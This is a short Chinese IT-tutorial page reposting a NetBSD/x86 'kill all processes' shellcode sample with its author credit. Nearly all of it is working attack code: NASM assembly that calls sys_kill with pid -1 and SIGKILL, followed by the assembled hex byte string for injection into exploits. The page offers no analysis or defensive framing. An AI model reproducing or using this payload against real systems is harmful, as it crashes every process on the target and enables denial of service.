杀掉进程的shellcode(netbsd/x86)
http://www.itjxue.com 2015-07-14 22:43 来源:未知 点击次数:
/*
netbsd/x86 kill all processes shellcode
author Teo Manojlovic
contact teo.manojlovic@skole.hr
this shellcode is using syscall number 37 or 0x25
37 STD { int sys_kill(int pid, int signum); }
here is assembler code using intel syntaxe and NASM
--------------begin-----------
section .note.netbsd.ident
dd0x07,0x04,0x01
db"NetBSD",0x00,0x00
dd200000000
section .data
section .text
global _start
_start:
xor eax, eax
push 0x09
mov eax, -1
push eax
xor eax,eax
mov al, 37
push eax
int 0x80
-------------------------end------------
if we dissasemble this code wi will get shellcode
"\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"
*/
(责任编辑:IT教学网)
上一篇:堵住木马进入的可疑端口网
下一篇:教你使用dos命令扫描开放端口